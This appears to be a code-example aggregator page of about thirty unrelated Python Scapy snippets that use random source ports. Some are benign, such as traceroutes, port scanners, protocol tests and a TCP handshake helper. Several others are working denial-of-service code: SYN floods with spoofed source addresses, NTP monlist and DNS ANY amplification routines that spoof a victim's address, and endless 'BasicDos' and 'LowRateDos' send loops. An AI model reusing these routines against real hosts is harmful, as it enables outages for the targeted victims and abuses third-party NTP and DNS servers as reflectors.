예제 #1
0
    def UDPTraceroute(self, host):
        if host not in self.hosts:
            self.hosts.append(host)

        d = defer.Deferred()
        reactor.callLater(self.timeout, d.callback, self)

        for dst_port in self.dst_ports:
            self.sendPackets(
                IP(dst=host, ttl=(self.ttl_min, self.ttl_max), id=RandShort()) / UDP(dport=dst_port, sport=RandShort()))
        return d
예제 #2
0
파일: test_ipip.py 프로젝트: stzh/vpp
 def generate_ip4_frags(self, payload_length, fragment_size):
     p_ether = Ether(src=self.pg1.remote_mac, dst=self.pg1.local_mac)
     p_payload = UDP(sport=1234, dport=1234) / self.payload(payload_length)
     p_ip4 = IP(src="1.2.3.4", dst=self.pg0.remote_ip4)
     outer_ip4 = (p_ether / IP(
         src=self.pg1.remote_ip4, id=RandShort(), dst=self.pg0.local_ip4) /
                  p_ip4 / p_payload)
     frags = fragment(outer_ip4, fragment_size)
     p4_reply = (p_ip4 / p_payload)
     p4_reply.ttl -= 1
     return frags, p4_reply
예제 #3
0
 def tread_def(target_ip, target_port, count_packet_tread, sleeptime, maximum_size, minimum_size):
     #global sended
     for _ in range(count_packet_tread):
         sleep(sleeptime)
         fake_ip = RandIP()
         s_eq = randint(1000, 9000)
         w_indow = randint(1100, 9000)
         ip = IP(src=fake_ip, dst=target_ip)
         tcp = TCP(sport=RandShort(), dport=target_port, flags="S", seq=s_eq, window=w_indow)
         size = Raw(b"M" * randint(minimum_size,maximum_size))
         packet = ip / tcp / size
         send(packet , verbose=False)
예제 #4
0
def flood(target) -> None:
    """
    Run icmp flood
    """

    packet = IP(dst=target[0]) / TCP(dport=target[1],
                                     flags="S",
                                     seq=RandShort(),
                                     ack=RandShort(),
                                     sport=RandShort())

    for i in range(4):
        try:
            send(packet, verbose=False)
        except Exception as e:
            print(
                f"[{red}][!] [{pink}]Error while sending 'ICMP'\n{e}[/{red}]")
        else:
            print(
                f"[{green}][+] [{yellow}]ICMP packet send to {target[0]} [/{green}]"
            )
예제 #5
0
 def forge(self, job, seq):
     sport = 0
     while sport < 1024:
         sport = int(RandShort())
     l4 = (TCP(sport=sport, dport=job['dp']))
     if ':' in job['dip']:
         ip = IPv6(src=self.source[1], dst=job['dip'])
     else:
         ip = IP(src=self.source[0], dst=job['dip'])
     if seq == 1:
         ip.flags = 'evil'
     return ip / l4
예제 #6
0
    def start(self):
        "Sends spoofed REQ_MON_GETLIST_1 NTP packets to the target NTP servers"
        # Create the NTP request
        ip = IP(src=self.target_ipv4, dst=self.ntp_ipv4s)
        udp = UDP(sport=RandShort(), dport=123)
        ntp = NTPPrivate(mode=7,
                         implementation="XNTPD",
                         request_code="REQ_MON_GETLIST_1")

        # Continuously send the NTP requests to the target NTP servers
        #send(ip/udp/ntp, verbose=False, loop=True)
        send(ip / udp / ntp, verbose=False)
예제 #7
0
def main(args):
    print "[*] Comenzando el fuzzing..."

    pkt_lst = []

    for i in xrange(args.count):

        ip_layer = IP(dst=args.target)

        # Fuzz IP layer
        #
        #  Src ramdon?
        if random_bool():
            ip_layer.src = str(RandIP())
        # IP ID
        if random_bool():
            ip_layer.id = int(RandShort())
        # IP TTL
        if random_bool():
            ip_layer.ttl = int(RandInt()) % 255

        icmp_layer = ICMP()

        # Fuzz ICMP layer
        #
        #  Type random
        if random_bool():
            icmp_layer.type = int(RandByte())
        #  Seq random
        if random_bool():
            icmp_layer.seq = int(RandShort())

        pkt = ip_layer/icmp_layer

        pkt_lst.append(pkt)

    sendp(pkt_lst, inter=args.interval)

    print "[*] Enviado %s paquetes" % i
예제 #8
0
def build_ipsec_packet(destination_ip, destination_port):
    """Generate encrypted packet with spoofed source IP address.

    Arguments:
    destination_ip -- the IP address of the target
    destination_port -- the targets port to which the packet will be sent 
    
    """
    sa = SecurityAssociation(ESP,
                             spi=0,
                             crypt_algo='Blowfish',
                             crypt_key=b'16byteskey',
                             auth_algo='NULL',
                             auth_key=None)

    return sa.encrypt(
        IP(src=RandIP(),
           dst=destination_ip,
           id=RandShort(),
           ttl=packet_builder.generate_ttl()) /
        TCP(sport=RandShort(), dport=destination_port) /
        packet_builder.generate_payload())
예제 #9
0
def pynmap(verbose, timeout, dst, port, ping, size):
    """A simple SYN scanner.
    """
    global OPEN_PORTS
    start_time = time.time()
    if ping:
        ans, _ = sr(IP(dst=dst) / ICMP(id=RandShort()),
                    verbose=0,
                    retry=2,
                    timeout=timeout)
        if not ans:
            elapsed = time.time() - start_time
            print("Note: Host seems down.")
            print(
                f"pynmap done: 1 IP address(0 hosts up) scanned in {round(elapsed)} seconds"
            )
            return

    if verbose:
        show_info(start_info)

    if '-' in port:
        start, end = list(map(int, port.split('-')))
        assert start >= 1 and end <= 65535 and start <= end, "Invalid port range"
        if verbose:
            show_info(f"Scanning {dst}[{end - start + 1} ports]")
    else:
        start = end = int(port)  # only one port to scan
        if verbose:
            show_info(f"Scanning {dst}[{1} ports]")

    scan_range(dst, start, end, verbose=verbose, timeout=timeout, size=size)
    end_time = time.time()
    elapsed = end_time - start_time
    if verbose:
        show_info(
            "Completed SYN Stealth Scan",
            f"{round(elapsed)}s elapsed ({end - start + 1} total ports)")

    print(f"pynmap scan report for {dst}")
    print(f"Not shown: {end - start + 1 - len(OPEN_PORTS)} filtered ports")
    if OPEN_PORTS:
        print("PORT\t\tSTATE\t\tSERVICE")
        for port in OPEN_PORTS:
            port_str = str(port) + "/tcp"
            open_str = "open"
            print(
                f"{port_str:<8s}\t{open_str:<8s}\t{m.get(str(port), 'UNKNOWN')}"
            )
    print()
    print(f"pynmap done: 1 IP address(up) scanned in {round(elapsed)} seconds")
def ntp_amplification():
	global g_target_ip, g_ntp_servers

	# Create the NTP request
	ip = IP(src = g_target_ip)
	udp = UDP(sport = RandShort(), dport = 123)
	ntp = NTPPrivate(mode = 7, implementation = "XNTPD", request_code = "REQ_MON_GETLIST_1")

	while True:
		# Send the request to each of the NTP servers
		for ntp_ip in g_ntp_servers:
			ip.dst = ntp_ip
			packet = ip/udp/ntp
			send(packet)
예제 #11
0
def cmd_isn(ip, port, count, iface, graph, verbose):
    """Create TCP connections and print the TCP initial sequence
    numbers for each one.

    \b
    $ sudo habu.isn -c 5 www.portantier.com
    1962287220
    1800895007
    589617930
    3393793979
    469428558

    Note: You can get a graphical representation (needs the matplotlib package)
    using the '-g' option to better understand the randomness.
    """

    conf.verb = False

    if iface:
        conf.iface = iface

    isn_values = []

    for _ in range(count):
        pkt = IP(dst=ip)/TCP(sport=RandShort(), dport=port, flags="S")
        ans = sr1(pkt, timeout=0.5)
        if ans:
            send(IP(dst=ip)/TCP(sport=pkt[TCP].sport, dport=port, ack=ans[TCP].seq + 1, flags='A'))
            isn_values.append(ans[TCP].seq)
            if verbose:
                ans.show2()

    if graph:

        try:
            import matplotlib.pyplot as plt
        except ImportError:
            print("To graph support, install matplotlib")
            return 1

        plt.plot(range(len(isn_values)), isn_values, 'ro')
        plt.show()

    else:

        for v in isn_values:
            print(v)

    return True
예제 #12
0
 def run(self):       
     if self._type == 0:
         connection = http.client.HTTPConnection(self._ip, port=self._port)
         headers = {'Content-type': 'application/json'}
         for i in range(randint(30,40)):
             connection.request("GET", self.get_random_string(7), headers=headers)
             _ = connection.getresponse()
         connection.close()
     elif self._type == 1:
         for i in range(randint(30,40)):
             l_qname = 'somedomain.com'
             dns_req = IP(src=self._ip, dst=OUR_DNS)/UDP(dport=53, sport=RandShort())/DNS(rd=1, qd=DNSQR(qname=l_qname))
             _ = sr1(dns_req, timeout=0, verbose=0)
     else:
         pass
예제 #13
0
 def forge(self, job, seq):
     sport = 0
     while sport < 1024:
         sport = int(RandShort())
     if self.args.connect == 'tcpsyn':
         l4 = (TCP(sport=sport, dport=job['dp']))
     if self.args.connect == 'dnsudp':
         l4 = (UDP(sport=sport, dport=job['dp']) /
               DNS(qd=DNSQR(qname=job['domain'])))
     if ':' in job['dip']:
         ip = IPv6(src=self.source[1], dst=job['dip'])
     else:
         ip = IP(src=self.source[0], dst=job['dip'])
     if seq == 1:
         ip.flags = 'evil'
     return ip / l4
예제 #14
0
 def run(self):
     global OPEN_IPS
     p = IP(dst = self._ip)/TCP(sport=RandShort(), dport=self._port, flags='S')    
     resp = sr1(p, timeout=2, verbose=0)
     if resp is None:
         pass
         #print("[X] ip {} NOT open.".format(self._ip))
     elif resp.haslayer(TCP):
         if resp.getlayer(TCP).flags == 0x12:
             #send_rst = sr(IP(dst=ip)/TCP(sport=src_port, dport=SCAN_PORT, flags='AR'), timeout=1)
             if not self._ip in OPEN_IPS.keys() and not self._ip == MY_IP:
                 with LOCK:
                     OPEN_IPS[self._ip] = {'uname':"", 'pwd':"", 'login':False, 'reported':False}
                 print("[<<>>] IP {} open.".format(self._ip))
         elif resp.getlayer(TCP).flags == 0x14:
             pass
예제 #15
0
def stealthScanner(IPs, ports, ttl, scrPort, timeOut):
    scanResults = []
    if scrPort == 0:
        srcPort = int(RandShort())
    random.shuffle(IPs)
    for index, tgt in enumerate(IPs):
        if platform == 'linux':
            p = Popen([
                "iptables", "-A", "OUTPUT", "-p", "tcp", "--tcp-flags", "RST",
                "RST", "-d",
                str(tgt), "-j"
                "DROP"
            ])
        print("working on " + str(tgt))
        random.shuffle(ports)
        for tgtPort in ports:
            progress(index, len(IPs) * len(ports), tgt)
            stealth_scan_resp = sr1(
                IP(dst=str(tgt), ttl=ttl) /
                TCP(sport=srcPort, dport=tgtPort, flags="S"),
                timeout=timeOut,
                verbose=False)

            if (str(type(stealth_scan_resp)) == "<class 'NoneType'>"):
                scanResults.append([tgt, tgtPort, "No Response"])
            elif (stealth_scan_resp.haslayer(TCP)):
                if (stealth_scan_resp.getlayer(TCP).flags == 0x12):
                    send_rst = sr(IP(dst=str(tgt), ttl=ttl) /
                                  TCP(sport=srcPort, dport=tgtPort, flags="R"),
                                  timeout=timeOut,
                                  verbose=False)
                scanResults.append([tgt, tgtPort, "Open"])
            elif (stealth_scan_resp.getlayer(TCP).flags == 0x14):
                scanResults.append([tgt, tgtPort, "Closed"])
            elif (stealth_scan_resp.haslayer(ICMP)):
                if (int(stealth_scan_resp.getlayer(ICMP).type) == 3
                        and int(stealth_scan_resp.getlayer(ICMP).code)
                        in [1, 2, 3, 9, 10, 13]):
                    scanResults.append([tgt, tgtPort, "Filtered"])
        if platform == 'linux':
            p = Popen([
                "iptables", "-D", "OUTPUT", "-p", "tcp", "--tcp-flags", "RST",
                "RST", "-d",
                str(tgt), "-j"
                "DROP"
            ])
    return scanResults
예제 #16
0
def check_port(ip, port, result = 1):
    src_port = RandShort()
    try:
        p = IP(dst=ip)/TCP(sport=src_port, dport=port, flags='F')
        resp = sr1(p, timeout=0.5) # Sending packet
        if str(type(resp)) == "<type 'NoneType'>":
            result = 1
        elif resp.haslayer(TCP):
            if resp.getlayer(TCP).flags == 0x14:
                result = 0
            #icmp is blocked
            elif (int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]):
                result = 2

    except Exception as e:
        pass
    return result
예제 #17
0
def ixfr(qname,
         authnameserver,
         serial=0,
         refresh=0,
         retry_int=0,
         expiry=0,
         ttl=0,
         timeout=2,
         retry=2):
    soa = '\xc0\x0c\x00\x06\x00\x01\x00\x00\x00\x00\x00\x16\x00\x00'
    soa += pack('!IIIII', serial, refresh, retry_int, expiry, ttl)

    dnsq = DNS(id=RandShort(),
               rd=0,
               ra=0,
               nscount=1,
               qd=DNSQR(qname=qname, qtype='IXFR')) / soa
    return _dnsxfr(authnameserver, dnsq, timeout, retry)
예제 #18
0
    def start(self):
        """Creats the SYN packets and sends it continuously to the target ports"""

        # Create the IP layer
        ip = IP(dst=self.target_ipv4)
        if (self.spoof_ip is not None):
            ip.src = self.spoof_ip

        # Create the SYN
        tcp = TCP(sport=RandShort(),
                  dport=self.target_ports,
                  flags="S",
                  seq=42)

        print("[*] SYN flood Started")

        # Continously send SYNs to the target ports
        send(ip / tcp, verbose=False, loop=True)
예제 #19
0
 def _extra_tcp_port(self, ip_input: str, port: str, gw_mac: str):
     self.init_port()
     if '-' in port:
         port = self.port_handle(port)
         port = tuple(port)
     else:
         port = self.port_handle(port)
     ans, un_an = srp(Ether(src=self._mac, dst=gw_mac) / IP(dst=ip_input) /
                      TCP(sport=int(RandShort()), dport=port, flags="S"),
                      inter=0.1,
                      timeout=2,
                      iface=self._iface,
                      verbose=0)
     for s, r in ans:
         if r[TCP].flags == 0x012:
             self.ip_port.append(
                 str(r[IP].src) + ':' + str(r[TCP].sport) + ':tcp')
     self.port_scan_status.emit()
예제 #20
0
def syn_flooder(source_ip):
    global g_dest_ports
    print("[*] Sending SYNs to the following ports:", *g_dest_ports)

    # Create the IP layer
    if (source_ip == None):
        ip = IP(dst=g_target_ip)
    else:
        ip = IP(src=source_ip, dst=g_target_ip)

    # Create the SYN
    tcp = TCP(sport=RandShort(), dport=g_dest_ports, flags="S", seq=42)

    print("[*] Starting SYN flood")

    # Create the packet and continously send it to all the specified ports
    pkt = ip / tcp
    while True:
        send(pkt, verbose=False)
def dns_amplification():
	global g_target_ip, g_name_servers, g_domain

	# Send the queries continuously to overwhelm the target network
	print("[*] Starting DNS amplification attack")

	while True:
		for name_server in g_name_servers:
			ip = IP(src = g_target_ip, dst = name_server)
			udp = UDP(sport=RandShort(), dport=53)
			dns = DNS(rd = 1,
					  qd = DNSQR(
					  		qname = g_domain,
					  		qtype = "ANY"		# Play around to see which one returns max answer length
							)
					)

			# Create the spoofed DNS query and send it
			pkt = ip/udp/dns
			send(pkt, verbose = False)
예제 #22
0
def syn_scan_port(host, port):
    # disable scapy output
    conf.verb = 0

    srcport = RandShort()
    
    # send a SYN packet and wait for the response
    synack = sr1(IP(dst=host)/TCP(sport=srcport, dport=port, flags="S"))
    resp_flags = synack.getlayer(TCP).flags
    
    # close the connection
    rst = IP(dst=host)/TCP(sport=srcport, dport=port, flags='R')
    send(rst)

    # If the response was a SYNACK, the port is considered open
    # If the response was anything else, the port is considered closed
    if resp_flags == SYNACK:
        return "open"
    else:
        return "closed"
예제 #23
0
    def udp_dns(target, count_packet_tread, dns_server_names, domains):
        ipId = randint(0, 0xffff)
        dnsId = randint(0, 0xffff)

        for _ in range(count_packet_tread):
            nameserver = choice(dns_server_names)  # DNS server
            domain = choice(domains)  # domain name
            ipId = randint(0, 0xffff)
            dnsId = randint(0, 0xffff)
            # packet:
            udp = UDP(sport=RandShort())
            ip = IP(src=target, dst=nameserver, ttl=128, id=ipId)
            dns = DNS(rd=1,
                      id=dnsId,
                      qdcount=1,
                      qd=DNSQR(qname=domain, qtype='ALL'),
                      ar=DNSRROPT(rclass=4096))
            packet = (ip / udp / dns)
            send(packet)  #, verbose=False)
            ipId += 1
            dnsId += 1
예제 #24
0
def LowRateDos(dest="127.0.0.1", destport=80, number_of_connections=2):
    """
    Works in a similar way to Basic Denial of Service, main distinction is that Low rate will create a series of started connections and then just keep the connections alive without doing anything.
    The idea is that you cripple the network rather than knock the system offline. 
    This will likely be a low number necessary to render a device unusable with IoT due to smaller spec internals.
    This is also know as RUDY - R U Dead Yet? 
    Current Though process:
        Take an inputted mumber of connections, x
        Create x connections, record port numbers for each of these
        every Y seconds, send a "keep alive" packet from each port
        ???
        Profit.
    """
    try:
        import time
        dst_ip = dest
        dst_port = destport
        port_list = []
        for con in range(1, number_of_connections + 1):
            src_port = RandShort()
            send(IP(dst=dst_ip) /
                 TCP(sport=src_port, dport=dst_port, flags="S") /
                 "Hello There",
                 timeout=10,
                 verbose=0)
            port_list.append(src_port)
        while True:
            time.sleep(
                60
            )  # Wait for a minute between sending ACK to keep connection alive
            for port in port_list:
                send(IP(dst=dst_ip) /
                     TCP(sport=src_port, dport=dst_port, flags="S") /
                     "Hello There",
                     timeout=10,
                     verbose=0)
    except KeyboardInterrupt:
        print("Detected Keyboard Interrupt, stopping...")
        return
예제 #25
0
 def __init__(self, config: Config, save: Save, ip_s: str, ip_r: str, port_r: int, save_path: str, visit_path: str):
     self._nw_if = config.adp
     self._ack = 0
     self._seq = 1
     self._ip_mac = save.ip_mac
     self.ip_s = ip_s
     self.ip_r = ip_r
     self._port_s = int(RandShort())
     self.port_r = port_r
     self._threads = []
     self._filter_string = "tcp and src port " \
                           "" + str(self.port_r) + " and src host " + self.ip_r + " and dst host " \
                           "" + self.ip_s + " and dst port " + str(self._port_s)
     self._last_ack = 0
     self._last_seq = 0
     self._mac_r = None
     self._mac_s = None
     self.so = None
     self.res = None
     self.need_get = []
     self.save_path = save_path
     self.visit_path = visit_path
예제 #26
0
def BasicDos(dest="127.0.0.1", sourceport=RandShort(), destport=80):
    """
    Basic Denial of Service attack. 
    Idea is that the function will run continuously, creating an connection initiation packet and sending it to the target IP:Port
    This will run very quickly in theory, due to the fact there is no delay between crafting packets.
    In theory this may create network connection issues on the host machine too as it is continuous crafting/sending packets. This would be on a case by case basis
    """
    try:
        dst_ip = dest
        src_port = sourceport
        dst_port = destport
        print("Commencing Denial of Service on %s:%d" % (dst_ip, dst_port))
        print("To stop attack, use Keyboard Interrupt")
        while True:
            send(IP(dst=dst_ip) /
                 TCP(sport=src_port, dport=dst_port, flags="S") /
                 "Hello There",
                 timeout=10,
                 verbose=0)
    except KeyboardInterrupt:
        print("Detected Keyboard Interrupt, stopping...")
        return
예제 #27
0
파일: cmd_isn.py 프로젝트: venutrue/habu
def cmd_isn(ip, port, count, iface, graph, verbose):

    conf.verb = False

    if iface:
        conf.iface = iface

    isn_values = []

    for _ in range(count):
        pkt = IP(dst=ip) / TCP(sport=RandShort(), dport=port, flags="S")
        ans = sr1(pkt, timeout=0.5)
        if ans:
            send(
                IP(dst=ip) / TCP(sport=pkt[TCP].sport,
                                 dport=port,
                                 ack=ans[TCP].seq + 1,
                                 flags='A'))
            isn_values.append(ans[TCP].seq)
            if verbose:
                ans.show2()

    if graph:

        try:
            import matplotlib.pyplot as plt
        except ImportError:
            print("To graph support, install matplotlib")
            return 1

        plt.plot(range(len(isn_values)), isn_values, 'ro')
        plt.show()

    else:

        for v in isn_values:
            print(v)

    return True
예제 #28
0
def tcp_handshake(dst_host, dst_port, interface, custom_tcp_opts, timeout):
    # Use the default interface if none is provided
    if interface == None:
        interface = conf.iface

    # We can use a fixed ISN
    seqn = 0
    ip = IP(version=0x4, id=0x00fb, dst=dst_host)
    src_port = int(RandShort()._fix()/2+2**15)

    syn = ip/TCP(dport=dst_port, sport=src_port, flags='S',
                 seq=seqn, ack=0, options=custom_tcp_opts)

    syn_ack = sr1(syn, timeout=timeout, iface=interface)
    if syn_ack == None or TCP not in syn_ack or 'R' in syn_ack[TCP].flags:
        return None

    seqn += 1
    ackn = syn_ack[TCP].seq + 1

    ack = ip/TCP(dport=dst_port, sport=src_port, flags='A', seq=seqn, ack=ackn)
    send(ack, iface=interface)

    return syn_ack
예제 #29
0
    def start(self, verbose: bool = False):
        """
		Scans the ports and stores the results in a list; If verbose flag is passed,
		the output is printed as well.
		"""
        print("[*] Starting SYN port scan")

        ip = IP(dst=self.target_ipv4)
        tcp = TCP(sport=RandShort(), dport=self.target_ports, flags="S")

        ans, unans = sr(ip / tcp, verbose=verbose, timeout=10)

        print("[*] SYN scan complete")

        for s, r in ans:
            if ("SA" == r[TCP].flags):
                self.open_ports.append(r[TCP].sport)

        for s in unans:
            self.filtered_ports.append(s[TCP].dport)

        if (verbose == True):
            SynScanner.print_open_ports(self)
            SynScanner.print_filtered_ports(self)
예제 #30
0
 def __trace__(self, domain_or_ip):
     return sr(IP(dst=domain_or_ip, ttl=(1, 6), id=RandShort()) /
               TCP(flags=0x2),
               verbose=True)